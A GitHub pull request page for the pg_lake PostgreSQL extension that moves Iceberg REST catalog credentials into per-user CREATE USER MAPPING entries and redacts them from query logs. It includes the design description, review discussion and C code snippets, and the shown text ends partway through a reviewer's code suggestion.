Skip to content

New Catalog Configuration: Credentials via CREATE USER MAPPING#255

Merged
sfc-gh-npuka merged 4 commits into
mainfrom
naisila/catalog_user_mapping
Jun 22, 2026
Merged

New Catalog Configuration: Credentials via CREATE USER MAPPING#255
sfc-gh-npuka merged 4 commits into
mainfrom
naisila/catalog_user_mapping

Conversation

@sfc-gh-npuka

@sfc-gh-npuka sfc-gh-npuka commented Mar 9, 2026

Copy link
Copy Markdown
Collaborator

Description

This change moves credential storage (client_id, client_secret) out of CREATE SERVER options where they are publicly readable, into CREATE USER MAPPING — per-user credentials stored in pg_user_mapping, providing user-level isolation.

The credential GUCs (pg_lake_iceberg.rest_catalog_client_id / rest_catalog_client_secret) feed only the built-in pg_lake_rest_catalog server. User-created iceberg_catalog servers must supply their own credentials via pg_user_mapping.

▶️ Usage

User-defined catalog with shared credentials

-- 1. Create the catalog server (no secrets here)
CREATE SERVER my_polaris TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint 'https://polaris.example.com');

-- 2. Attach credentials via a PUBLIC user mapping
CREATE USER MAPPING FOR PUBLIC SERVER my_polaris
    OPTIONS (client_id '...', client_secret '...');

-- 3. Create a table against the catalog
CREATE TABLE t (a int) USING iceberg WITH (catalog = 'my_polaris');

Per-user credential isolation

Different users can have their own credentials on the same server. The resolver picks the mapping for the current user first, falling back to PUBLIC if none exists.

CREATE USER MAPPING FOR alice SERVER my_polaris
    OPTIONS (client_id 'alice_id', client_secret 'alice_secret');

CREATE USER MAPPING FOR bob SERVER my_polaris
    OPTIONS (client_id 'bob_id', client_secret 'bob_secret');

▶️ Credential Resolution Order

BuildRestCatalogOptionsFromServer resolves options differently depending on which kind of server it is building for, because the credential trust boundary differs.

Built-in pg_lake_rest_catalog (catalog 'rest')

  1. GUC defaults — including rest_catalog_client_id / rest_catalog_client_secret.
  2. Server options — no-op; ALTER SERVER on the built-in is blocked.

The built-in skips the user-mapping phase: CREATE USER MAPPING on it is rejected upfront, so its credentials live exclusively in GUCs and the built-in stays a single, instance-wide configuration.

User-created server (CREATE SERVER ... FOREIGN DATA WRAPPER iceberg_catalog)

  1. GUC defaults — non-credential fields only. rest_catalog_client_id / rest_catalog_client_secret are intentionally not inherited.
  2. Server options — anything tagged CATALOG_OPT_CTX_SERVER.
  3. pg_user_mapping options — per-current-user lookup, fallback to PUBLIC.

Why credentials are gated to the built-in: any role with USAGE on the iceberg_catalog FDW (lake_write, via the 3.4 grant) can CREATE SERVER and choose rest_endpoint / oauth_endpoint. If user-created servers inherited the system-wide credential GUCs, the next CREATE TABLE ... USING iceberg WITH (catalog='evil') would POST the production credentials to whatever endpoint that server's owner picked — a non-superuser credential-exfiltration path. So GUC credentials are restricted to the single extension-owned built-in server.

scope is accepted in both server options and user-mapping options. The effective priority is: user mapping > server option > GUC.

ValidateRestCatalogOptions runs after all layers have been folded in and raises "no credentials found for REST catalog ..." up front on first DML if client_id / client_secret are missing for the configured auth flow.

▶️ Validator Changes

The iceberg_catalog_validator distinguishes between server and user-mapping contexts via a CATALOG_OPT_CTX_* bitmask on each option descriptor:

  • Server options (CATALOG_OPT_CTX_SERVER): rest_endpoint, scope, rest_auth_type, oauth_endpoint, enable_vended_credentials, location_prefix, catalog_name.
  • User mapping options (CATALOG_OPT_CTX_USER_MAPPING): client_id, client_secret, scope.

scope appears in both contexts. The validator checks desc->contexts & contextBit and produces context-specific hint strings via GetValidCatalogOptionsHint(contextBit) — server hints only list server options, user-mapping hints only list user-mapping options.

▶️ DDL Protection

ValidateIcebergCatalogServerDDL (a ProcessUtility handler) enforces several invariants on iceberg_catalog servers and the user mappings that target them:

  • Built-in catalog servers are immutable structural anchors. CREATE SERVER and RENAME TO cannot use any of the reserved short names (rest, postgres, object_store) or the long names (pg_lake_rest_catalog, pg_lake_postgres_catalog, pg_lake_object_store_catalog). ALTER SERVER options, owner changes, and CREATE/ALTER/DROP USER MAPPING against built-ins are rejected.
  • CREATE SERVER must specify TYPE 'rest'. TYPE 'postgres' / 'object_store' are reserved for the built-in servers.
  • Renaming any iceberg_catalog server is blocked. Dependent iceberg tables record the server name as a string option (catalog='<name>') in ftoptions; a rename would silently break those references.
  • rest_endpoint / oauth_endpoint cannot be changed on a user-created server while it has user mappings or dependent iceberg tables. Both options pin the URL the OAuth grant is POSTed to; flipping them under existing mappings would redirect those mappings' credentials.
  • ALTER USER MAPPING ... OPTIONS (DROP client_id|client_secret) is blocked while the server has dependent iceberg tables. SET / ADD (rotation) remains allowed.
  • ALTER EXTENSION pg_lake_iceberg DROP SERVER|FOREIGN DATA WRAPPER is rejected for iceberg_catalog objects, preventing detachment of the DEPENDENCY_EXTENSION edge that shields them from standalone DROP.
  • ALTER FOREIGN DATA WRAPPER iceberg_catalog is rejected, preventing replacement of the validator or addition of a handler.

The last two are defense-in-depth against superuser misuse: both already require superuser privilege, but a superuser detaching the extension edge or swapping the validator would silently weaken the protection model.

DROP USER MAPPING and cascade safety

A chained object_access_hook (InitializeIcebergCatalogObjectAccessHook in pg_lake_iceberg) fires on OAT_DROP for any user mapping on a user-created iceberg_catalog server with dependent iceberg tables. The hook does not error — that would have made DROP SERVER ... CASCADE and DROP EXTENSION ... CASCADE non-deterministic, since Postgres visits cascade siblings in descending-OID order and the same command would either succeed or abort depending on which OID was higher. Instead, the hook captures the about-to-vanish credentials into the transaction:

  • pg_lake_iceberg owns the predicate (ServerHasDependentRestIcebergTable plus the iceberg_catalog-FDW filter) and the dispatch site.
  • pg_lake_table registers a hook-pointer (PgLake_RestCatalogXactCaptureCallback) at _PG_init time. The callback deep-copies the resolved RestCatalogOptions into TopTransactionContext via the new BuildRestCatalogOptionsFromUserMapping.
  • Any same-transaction DROP TABLE — direct or cascade-driven under DROP SERVER / DROP EXTENSION ... CASCADE — authenticates its post-commit REST DELETE against the captured snapshot. Whichever sibling Postgres visits first wins; the cascade always succeeds.
  • Cross-transaction (DROP USER MAPPING commits in one txn, DROP TABLE runs in a later one) still fails clearly with the standard "no credentials found" error — captures are txn-local by design. Recovery is to recreate the mapping.

▶️ Query String Redaction

Credentials in CREATE USER MAPPING and ALTER USER MAPPING DDL appear in plaintext in pg_stat_statements, log_min_duration_statement, and ereport error contexts. A ProcessUtility handler (RedactRestCatalogUserMappingSecrets) scrubs the query-string slice for any such statement that carries a credential option (client_id or client_secret).

Whole-statement scrub

The handler overwrites the entire utility-statement slice (bounded by pstmt->stmt_location and pstmt->stmt_len) with a fixed <redacted: USER MAPPING with credentials> marker, padding with spaces so the buffer stays the same length. Surrounding statements in a multi-statement query string are left untouched. DDL execution is unaffected because CREATE/ALTER USER MAPPING reads option values from the parse tree (DefElem nodes), not from queryString.

This is deliberately coarser than a per-option string-literal scrub: it trades a little ops observability (only statements that actually carry a credential are scrubbed — a non-secret ALTER USER MAPPING SET scope '...' is left visible) for a much smaller attack surface than hand-rolling a parser for '' doubled-quote escapes, E'' escape strings, and U&'' Unicode strings.

Conservative server-name gate

IsKnownNonIcebergCatalogServer returns true only when we can affirmatively prove the target is a real foreign server backed by a different FDW. Every other input — a typo, a not-yet-existent server, a built-in iceberg_catalog long name, a NULL name — falls into the "could be iceberg" bucket and is scrubbed defensively. This closes the typo-leak: a fat-fingered server name on a CREATE USER MAPPING ... OPTIONS (client_id, client_secret) would otherwise survive into pg_stat_statements and the failing core lookup's error context. A real, non-iceberg FDW mapping is left alone — we don't volunteer ourselves as redactor for someone else's option vocabulary.

Handler ordering

RedactRestCatalogUserMappingSecrets is registered in _PG_init after ValidateIcebergCatalogServerDDL. Because RegisterUtilityStatementHandler prepends to a LIFO list, redaction runs before validation — so a failing built-in-server path never surfaces an unredacted query string in its error context.

▶️ Token Cache Keying

The per-backend token cache is keyed by the pair (serverOid, userMappingOid) instead of serverOid alone. This ensures that different SET ROLEs in the same backend each get the credentials of their own user mapping (or PUBLIC), while InvalidOid is used when no user mapping is involved (built-in server, or a user-created server falling back to GUCs). A syscache invalidation callback on USERMAPPINGOID is registered alongside the existing FOREIGNSERVEROID callback, so ALTER USER MAPPING and DROP USER MAPPING immediately flush stale tokens.

▶️ New Resolver Helpers

Three new helpers in rest_catalog.c underpin the cascade-safe credential capture and the same-txn same-server identity check:

  • BuildRestCatalogOptionsFromUserMapping(Oid umOid) — resolves a fully-validated RestCatalogOptions from a specific user-mapping OID, bypassing the per-current-user resolution path. Returns NULL when the mapping is no longer in the syscache; ereports the standard "no credentials found for REST catalog ..." on a malformed mapping (the cascade transaction aborts cleanly).
  • ResolveRestCatalogServerId(const char *catalog) — returns just the iceberg_catalog server OID for a user-facing catalog identifier, skipping the user-mapping lookup and credential validation that ResolveRestCatalogOptions does.
  • GetRestCatalogServerIdForRelation(Oid relationId) — relation-keyed companion to the above.

EnsureXactBoundToRestCatalog in pg_lake_table uses these so that after the first mutation in a transaction (which captures full credentials via the per-current-user resolver), every subsequent mutation only re-resolves the server OID. No pg_user_mapping lookup, no credential validation — the same-server identity check stays correct even after the user mapping has been dropped earlier in the same transaction (same-txn DROP USER MAPPING then DROP TABLE, or cascade-driven UM removal).

▶️ LookupUserMappingOptions / LookupUserMappingOptionsByOid

Two pg_user_mapping lookup helpers:

  • LookupUserMappingOptions(Oid serverOid, Oid *umidOut) — resolves via the current user (GetUserId()) with a PUBLIC fallback. Used by the per-server resolver.
  • LookupUserMappingOptionsByOid(Oid umOid, Oid *serverOidOut) — by-OID counterpart used by the OAT_DROP capture path.

Both return the untransformed option list, or NIL (with *outOid = InvalidOid) when no mapping is found, avoiding the ERROR that PostgreSQL's GetUserMapping raises. ApplyUserMappingOptionsList shares the option-application loop between both call sites.

▶️ ValidateRestCatalogOptions

Checks the resolved options carry the minimum fields needed for the configured auth flow at resolution time — after GUCs and the user mapping have been folded in. Credential requirements are auth-type specific:

  • OAuth2: client_id AND client_secret (Basic auth header).
  • Horizon: client_secret only (client_id is intentionally ignored).

This means an incompletely-configured catalog fails up front on first DML rather than silently issuing an unauthenticated request to the OAuth endpoint.

▶️ Test Coverage

test_iceberg_catalog_server.py gains coverage for:

  • Validator context separation: invalid options rejected per-context, context-specific hint strings.
  • User mapping operations: creating mappings with all options, per-role mappings on the same server.
  • Built-in server protection: CREATE/ALTER/DROP USER MAPPING blocked on the built-in server.
  • Query string redaction: CREATE USER MAPPING, ALTER USER MAPPING, '' doubled-quote escapes, E'' strings, scope left untouched, non-iceberg servers skipped, redaction runs before built-in rejection, stored credentials preserved, plus test_redact_runs_for_unknown_server_name for the conservative typo case.
  • ALTER SERVER guards: rest_endpoint / oauth_endpoint rejected while the server has user mappings or dependent iceberg tables.
  • ALTER USER MAPPING guards: DROP client_id|client_secret rejected while the server has dependent iceberg tables.
  • Extension / FDW protection: ALTER EXTENSION ... DROP SERVER|FDW and ALTER FOREIGN DATA WRAPPER iceberg_catalog rejected.

test_modify_iceberg_rest_table.py adds end-to-end coverage for:

  • Credential override: user-mapping credentials override poisoned GUCs.
  • Token cache invalidation: ALTER USER MAPPING invalidates cached tokens mid-session.
  • OAT_DROP capture path (four scenarios):
    • test_drop_user_mapping_in_isolation_succeeds — isolated DROP USER MAPPING succeeds (capture happens but goes unused).
    • test_drop_user_mapping_then_drop_table_in_same_txn_succeeds — same-txn drops authenticate against the captured snapshot.
    • test_drop_user_mapping_then_drop_table_in_separate_txn_fails_clearly — cross-txn failure mode with the standard error message.
    • test_drop_server_cascade_does_not_wedge[um_before_table | table_before_um] — parametrized over both OID orderings, asserting unconditional cascade success.

Existing tests that used client_id / client_secret in CREATE SERVER OPTIONS were migrated to CREATE USER MAPPING FOR PUBLIC.

Fixes remaining part of #230


Checklist

  • Redacting queryString in ProcessUtility hook
  • I have tested my changes and added tests if necessary
  • I updated documentation if needed
  • I confirm that all my commits are signed off (DCO)

@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch 2 times, most recently from 789bb11 to 59242ec Compare March 9, 2026 12:28
@sfc-gh-npuka sfc-gh-npuka linked an issue Mar 9, 2026 that may be closed by this pull request
8 tasks
@sfc-gh-npuka sfc-gh-npuka mentioned this pull request Mar 9, 2026
8 tasks
@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch 2 times, most recently from adca49d to c575a4e Compare March 10, 2026 12:49
@sfc-gh-npuka sfc-gh-npuka changed the base branch from naisila/catalog_reconfig to naisila/backup March 12, 2026 09:00
@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch from c575a4e to 34d2a8c Compare March 12, 2026 09:00
@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch from 34d2a8c to f671ae1 Compare March 12, 2026 16:19
@sfc-gh-npuka sfc-gh-npuka changed the base branch from naisila/backup to naisila/catalog_reconfig March 12, 2026 16:19
@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch 2 times, most recently from bec4277 to 171a037 Compare March 12, 2026 16:47
@sfc-gh-npuka sfc-gh-npuka marked this pull request as ready for review March 13, 2026 09:15
/* ProcessUtility handler: protects extension-owned catalog servers */
/* ProcessUtility handlers */
extern PGDLLEXPORT bool ProtectExtensionCatalogServersHandler(ProcessUtilityParams *processUtilityParams, void *arg);
extern PGDLLEXPORT bool ScrubIcebergUserMappingHandler(ProcessUtilityParams *processUtilityParams, void *arg);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

nit: RedactRestCatalogSecretsHandler and need to move to pg_lake_table extension

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

RedactRestCatalogUserMappingSecrets

"""Credentials should be resolved from $PGDATA/catalogs.conf when no
user mapping exists."""
catalogs_conf(
"test_conf_srv.client_id = 'conf-id'\n"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

we would use conf file only for extension owned catalogs, right? (assuming snowflake ui wont enable it for user catalogs) then might be good also add rest.client_id = '' to the test.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

good point: right now the tests only use user-created server names in catalogs.conf - they're testing a path that won't happen in practice. But the point is to test the path to make sure it works for the "platform owned" catalogs. I assume both extension owned "rest" catalog and platform owned catalog will end up getting credentials from conf file, so will add the test you suggested

Comment thread pg_lake_iceberg/src/rest_catalog/rest_catalog.c Outdated
Comment thread pg_lake_iceberg/src/rest_catalog/rest_catalog.c Outdated
Comment on lines +644 to +651
/* catalogs.conf overrides GUCs but not user mapping */
char *confClientId = NULL;
char *confClientSecret = NULL;
char *confScope = NULL;

if (ReadCatalogsConfCredentials(serverName,
&confClientId, &confClientSecret,
&confScope))

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

better to move this above usermapping even if we have null checks. (user mapping should be checked the last to override all)

@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch from 74860c2 to 9b17dc3 Compare March 14, 2026 16:28
@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_reconfig branch from baf1541 to 2c7435f Compare March 14, 2026 16:33
@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch 2 times, most recently from ba29db5 to dfd7536 Compare March 14, 2026 16:55
@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch from dfd7536 to 36b145f Compare March 14, 2026 16:58
}


#define CATALOGS_CONF_FILENAME "catalogs.conf"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

it could be nice to move this out of the database directory, such that secrets don't end up in backups. Maybe we need a setting here.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Makes sense, you mean a GUC_SUPERUSER_ONLY that defaults to $PGDATA/catalogs.conf but can be set to any absolute path

@sfc-gh-npuka sfc-gh-npuka Mar 16, 2026

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@sfc-gh-abozkurt sfc-gh-abozkurt Mar 30, 2026

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I am not sure if the default should point to $pgdata. I think it would be better to set it empty by default.

@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch 3 times, most recently from b5192a9 to 3aa4348 Compare March 16, 2026 20:49
@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_reconfig branch from 2c7435f to 0b63f97 Compare March 23, 2026 09:08
@sfc-gh-npuka sfc-gh-npuka changed the base branch from naisila/catalog_reconfig to naisila/backup2 March 23, 2026 09:09
if (def->location < 0)
continue;

char *p = (char *) queryString + def->location;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

minor: would be nice to use currentChar instead of p, much easier to search for

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

do these need to be removed?

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes, I noted in the PR description that this branch is not yet updated with the latest changes in "Create server" branch.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

PR updated

@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch from 3aa4348 to 75c3869 Compare March 25, 2026 22:17
@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_reconfig branch 3 times, most recently from 76408f8 to 138facc Compare June 4, 2026 18:34
sfc-gh-npuka added a commit that referenced this pull request Jun 4, 2026
Introduces the iceberg_catalog foreign data wrapper, allowing users to
define named REST catalog configurations via CREATE SERVER instead of
relying solely on global GUCs. Built-in catalogs (rest, postgres,
object_store) continue to work unchanged through backward-compatible
short-name resolution.

Credentials (client_id, client_secret) are currently stored as server
options. USER MAPPING support is in a follow-up PR (#255).

How users create REST catalogs
------------------------------

  CREATE SERVER my_polaris TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint 'http://polaris:8181',
             client_id '...', client_secret '...',
             location_prefix 's3://my-bucket/warehouse');

  CREATE TABLE t (a int) USING iceberg WITH (catalog = 'my_polaris');

A server with no options is also valid -- all settings fall back to GUCs.
This allows creating a named handle for organizational purposes while
relying entirely on the global GUC configuration.

Accepted server options
-----------------------

The iceberg_catalog_validator accepts the following server-level options
(all defined in iceberg_catalog_option_descs[]):

  rest_endpoint              REST catalog base URL (required; non-empty,
                             must have URI scheme)
  rest_auth_type             'oauth2' (default), 'default' (alias for
                             oauth2), or 'horizon'
  oauth_endpoint             Custom OAuth token endpoint
  scope                      OAuth scope (default from GUC:
                             PRINCIPAL_ROLE:ALL)
  enable_vended_credentials  Boolean, default true
  location_prefix            S3/storage prefix, overrides the GUC default
  catalog_name               Catalog name passed to REST API (affects
                             read-only table CREATE TABLE; ignored at
                             runtime for writable tables)
  client_id                  OAuth client ID
  client_secret              OAuth client secret

Credentials (client_id, client_secret) are currently stored as server
options. USER MAPPING support is in a follow-up PR (#255).

catalog_name server option
--------------------------

The catalog_name option specifies the catalog prefix used in REST API
URLs (opts->catalogName).

At CREATE TABLE time (read-only tables): if the table does not specify
catalog_name, it inherits the server's value (via
ResolveRestCatalogOptions) or defaults to get_database_name(MyDatabaseId).
The resolved value is baked into the table's ftoptions.

At runtime (GetRestCatalogName):

  - Writable tables always return get_database_name(MyDatabaseId). Server
    and table catalog_name options are ignored. This prevents a subsequent
    ALTER SERVER ... ADD/SET catalog_name from silently re-routing an
    existing writable table.
  - Read-only tables return the table-level catalog_name from ftoptions.

Writable tables cannot be created on a server with catalog_name set --
enforced at CREATE TABLE time.

Extension upgrade script
------------------------

The upgrade script creates:

  1. iceberg_catalog FDW -- a handler-less FDW with a validator function
     (iceberg_catalog_validator) that accepts server-level options.
  2. GRANT USAGE ON FOREIGN DATA WRAPPER iceberg_catalog TO lake_write --
     so non-superusers with lake_write can create catalog servers.
  3. Three built-in catalog servers -- pg_lake_postgres_catalog (TYPE
     'postgres'), pg_lake_object_store_catalog (TYPE 'object_store'),
     and pg_lake_rest_catalog (TYPE 'rest'). These are extension-owned
     structural anchors backed by actual pg_foreign_server rows, but carry
     no options -- all configuration comes from GUCs.
  4. GRANT USAGE ON FOREIGN SERVER ... TO lake_write -- for each built-in
     server, so non-superusers can create tables against the built-in
     catalogs.

The reserved user-facing catalog names postgres, object_store, and rest
are mapped internally to these built-in server names via
ResolveCatalogServerName. A pre-flight check in the upgrade script
prevents conflicts if a user already has a server with one of the
built-in long names.

DDL protection (ValidateIcebergCatalogServerDDL)
------------------------------------------------

A single ProcessUtility hook validates all DDL on iceberg_catalog
servers, the iceberg_catalog FDW itself, and extension-membership changes
that affect any of these objects. The handler is registered in
pg_lake_iceberg/src/init.c.

Two layers of protection for server DDL:

  1. Short reserved names ('postgres', 'object_store', 'rest') -- the
     user-facing catalog= values. CREATE SERVER and RENAME TO these
     names are blocked so users can't shadow the built-in catalogs.
  2. Built-in long server names (pg_lake_postgres_catalog, etc.) -- the
     pre-created anchors. Outside of CREATE/ALTER EXTENSION,
     CREATE/ALTER/RENAME/OWNER on them is blocked entirely so they
     remain pure structural anchors with all configuration in GUCs.
     DROP is blocked by PostgreSQL core via extension membership
     (pg_depend deptype 'e').

Protected operations:

  CREATE SERVER with reserved short or built-in long name   -> blocked
  CREATE SERVER with TYPE 'postgres' or 'object_store'      -> blocked
  CREATE SERVER without TYPE 'rest' (NULL or non-rest)      -> blocked
  CREATE SERVER with TYPE 'rest' and a non-reserved name    -> allowed
  ALTER SERVER on a built-in server (any change)            -> blocked
  ALTER SERVER RENAME TO on any iceberg_catalog server      -> blocked
    (dependent tables store catalog='<name>' in ftoptions)
  ALTER SERVER OPTIONS when dependent REST tables exist     -> blocked
  DROP SERVER on a built-in server                         -> blocked
    (extension-owned via pg_depend)
  ALTER EXTENSION ... DROP SERVER/FDW                       -> blocked
    (defense-in-depth; requires superuser)
  ALTER FOREIGN DATA WRAPPER iceberg_catalog                -> blocked
    (defense-in-depth; requires superuser)
  CREATE FOREIGN TABLE on any iceberg_catalog server        -> blocked
    (FDW has no handler; hints to use CREATE TABLE ... USING iceberg)
  All other DDL on user-created servers                     -> allowed

All protection checks are skipped during CREATE EXTENSION / ALTER
EXTENSION UPDATE. The ALTER EXTENSION DROP and ALTER FOREIGN DATA WRAPPER
guards are defense-in-depth against superuser misuse.

Single-catalog transaction constraint
-------------------------------------

Modifying tables from different REST catalogs in the same transaction is
rejected at statement time -- before any Parquet data is written to S3.
The first mutation binds the transaction to its REST catalog; any
subsequent mutation targeting a different catalog raises
ERRCODE_FEATURE_NOT_SUPPORTED immediately.

This applies to all mutation entry points: INSERT, UPDATE, DELETE,
TRUNCATE, as well as DDL paths (CREATE TABLE / DROP TABLE) which reach
the same protection indirectly.

Backward compatibility
----------------------

  - CREATE TABLE ... WITH (catalog = 'rest') continues to work. The
    value 'rest' maps internally to the built-in pg_lake_rest_catalog
    server, whose configuration comes entirely from GUCs.
  - All existing GUCs remain functional and serve as fallback defaults
    for both built-in and user-created catalogs.
  - No changes to postgres or object_store catalog behavior.
  - A pre-existing CREATE SERVER postgres FOREIGN DATA WRAPPER
    postgres_fdw does not conflict with pg_lake's built-in postgres
    catalog, since the user-facing short name 'postgres' maps internally
    to pg_lake_postgres_catalog.

======================================================================
Implementation internals
======================================================================

Connection resolution
---------------------

ResolveRestCatalogOptions(catalog) is the single entry point for building
a RestCatalogOptions. GetRestCatalogOptionsForRelation(relationId) reads
the table's catalog option and delegates to it.

All catalogs -- built-in and user-created -- go through the same
resolution path:

  1. ResolveRestCatalogOptions(catalog) calls
     ResolveCatalogServerName(catalog) to map short reserved names
     ('rest' -> pg_lake_rest_catalog, etc.); user-created server names
     pass through unchanged. Then delegates to
     BuildRestCatalogOptionsFromServer(serverName, catalog).
  2. BuildRestCatalogOptionsFromServer(serverName, userVisibleCatalog)
     looks up the server in pg_foreign_server, initializes all fields
     from GUC defaults via ApplyGUCDefaults, then overrides with any
     options explicitly set on the server via ApplyServerOptionOverrides.
     The userVisibleCatalog is stored in opts->catalog so error messages,
     the token cache key, and the cross-catalog DML check stay in
     user-facing terms.
  3. ValidateRestCatalogOptions errors if rest_endpoint is still unset
     after both sources.

Since ALTER SERVER OPTIONS is blocked on the built-in servers, their
option set is always empty and the GUC defaults survive untouched --
achieving the "GUCs-only built-in REST" behavior through a single code
path.

Option validation
-----------------

Server options are defined once in iceberg_catalog_option_descs[] -- the
single source of truth for the whitelist (FindCatalogOptionDesc), the
user-facing hint (GetValidCatalogOptionsHint), and the option-to-struct
applier (ApplyCatalogOptionValue). Adding or removing an option requires
changing only this table.

FDW option names and auth type values are compared case-insensitively
(pg_strcasecmp). Server names remain case-sensitive (PostgreSQL's
GetForeignServerByName is case-sensitive), but the reserved built-in
names are checked case-insensitively.

Per-catalog token cache
-----------------------

The old code used a single global token (RestCatalogAccessToken). With
multiple catalogs potentially using different credentials, the token
cache is now a hash table (RestCatalogTokenCache) keyed by the
iceberg_catalog server OID (opts->serverOid). Each catalog gets its own
cached OAuth token with independent expiry tracking.

The hash table and token strings are allocated in a dedicated
RestTokenCacheCtx memory context (under CacheMemoryContext). A syscache
invalidation callback (InvalidateRestTokenCache) registered via
CacheRegisterSyscacheCallback(FOREIGNSERVEROID, ...) resets the entire
token cache on any ALTER SERVER or DROP SERVER.

Single-catalog transaction constraint (internals)
-------------------------------------------------

BindRelationToXactRestCatalog(relationId) is called from every entry
point that can mutate REST-backed iceberg tables:
postgresBeginForeignModify(), AddQueryResultToTable(), and
postgresExecForeignTruncate().

On the first REST-backed write, it pre-resolves the relation's full
RestCatalogOptions and deep-copies them into TopTransactionContext.
Subsequent writes must target the same catalog (compared by server OID
so case variations like 'rest' and 'REST' correctly collapse to the same
built-in server); otherwise ERRCODE_FEATURE_NOT_SUPPORTED is raised
immediately.

DDL paths (CREATE TABLE / DROP TABLE) reach the same protection via
RecordRestCatalogRequestInTx(), which is invoked synchronously at
statement time from the utility hook.

At XACT_EVENT_COMMIT time, PostAllRestCatalogRequests uses the
pre-resolved PgLakeXactRestCatalog->catalogOpts to build URLs and
authentication headers, avoiding syscache lookups during commit.

Catalog type helpers (pg_lake_engine/src/utils/catalog_type.c)
--------------------------------------------------------------

  IsRestCatalog(catalog)             -- returns true for the literal
    'rest' (case-insensitive) or any iceberg_catalog server whose TYPE
    is 'rest'.
  IsCatalogOwnedByExtension(catalog) -- returns true for the short
    reserved names 'rest', 'object_store', or 'postgres'.
  IsBuiltinCatalogServerName(name)   -- returns true for the long
    built-in server names (pg_lake_rest_catalog, etc.).
  ResolveCatalogServerName(catalog)  -- maps user-facing short names to
    the corresponding built-in server name; passes user-created names
    through.

Fixes part of #230

---------

Signed-off-by: sfc-gh-npuka <naisila.puka@snowflake.com>
Base automatically changed from naisila/catalog_reconfig to main June 4, 2026 19:19
@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch 2 times, most recently from 1465b4a to 7764166 Compare June 9, 2026 12:32
@sfc-gh-npuka sfc-gh-npuka changed the title New Catalog Configuration Credentials via CREATE USER MAPPING and config file New Catalog Configuration Credentials via CREATE USER MAPPING Jun 9, 2026
@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch from 7764166 to 94e9630 Compare June 9, 2026 12:36
@sfc-gh-npuka sfc-gh-npuka changed the title New Catalog Configuration Credentials via CREATE USER MAPPING New Catalog Configuration: Credentials via CREATE USER MAPPING Jun 9, 2026
@sfc-gh-npuka sfc-gh-npuka requested a review from sfc-gh-mslot June 9, 2026 12:57
* that case.
*/
static void
RedactUserMappingSecrets(const char *queryString, List *options)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think we should still redact, that part is fine. My problem is only that the current redaction code is too complex and a bit risky. It tries to parse the SQL string literal by hand, find the start and end of the value, handle '', E'', U&'', escapes and so on. That is a lot of fragile string math and we already know it does not cover every case (for example $$ dollar quoting, or a string split over two lines). When the failure mode is "a secret leaks in clear text", best effort parsing is not really what we want.

So instead of parsing the value, let's just overwrite the whole statement. We do not need to find the value at all, we only need to know it is a CREATE/ALTER USER MAPPING on an iceberg_catalog server, and then blank the whole statement text in place. It cannot leak because we never copy any value byte anywhere, we just stamp a marker and pad the rest. It is also bounded to this one statement (stmt_location / stmt_len) so it does not touch other statements in a multi statement string.

The whole thing becomes basically this:

static void
RedactWholeStatement(char *queryString, const PlannedStmt *pstmt)
{
	static const char marker[] = "<redacted: USER MAPPING with credentials>";
	int			start = pstmt->stmt_location > 0 ? pstmt->stmt_location : 0;
	int			len = pstmt->stmt_len > 0
		? pstmt->stmt_len
		: (int) strlen(queryString) - start;
	int			mlen = sizeof(marker) - 1;

	if (len <= 0)
		return;
	if (mlen > len)
		mlen = len;				/* truncate marker to fit short statements */

	memcpy(queryString + start, marker, mlen);
	memset(queryString + start + mlen, ' ', len - mlen);
}

And the handler just checks the statement type and the server, then calls it:

bool
RedactRestCatalogUserMappingSecrets(ProcessUtilityParams * processUtilityParams,
									void *arg)
{
	Node	   *parsetree = processUtilityParams->plannedStmt->utilityStmt;
	const char *serverName;

	if (IsA(parsetree, CreateUserMappingStmt))
		serverName = ((CreateUserMappingStmt *) parsetree)->servername;
	else if (IsA(parsetree, AlterUserMappingStmt))
		serverName = ((AlterUserMappingStmt *) parsetree)->servername;
	else
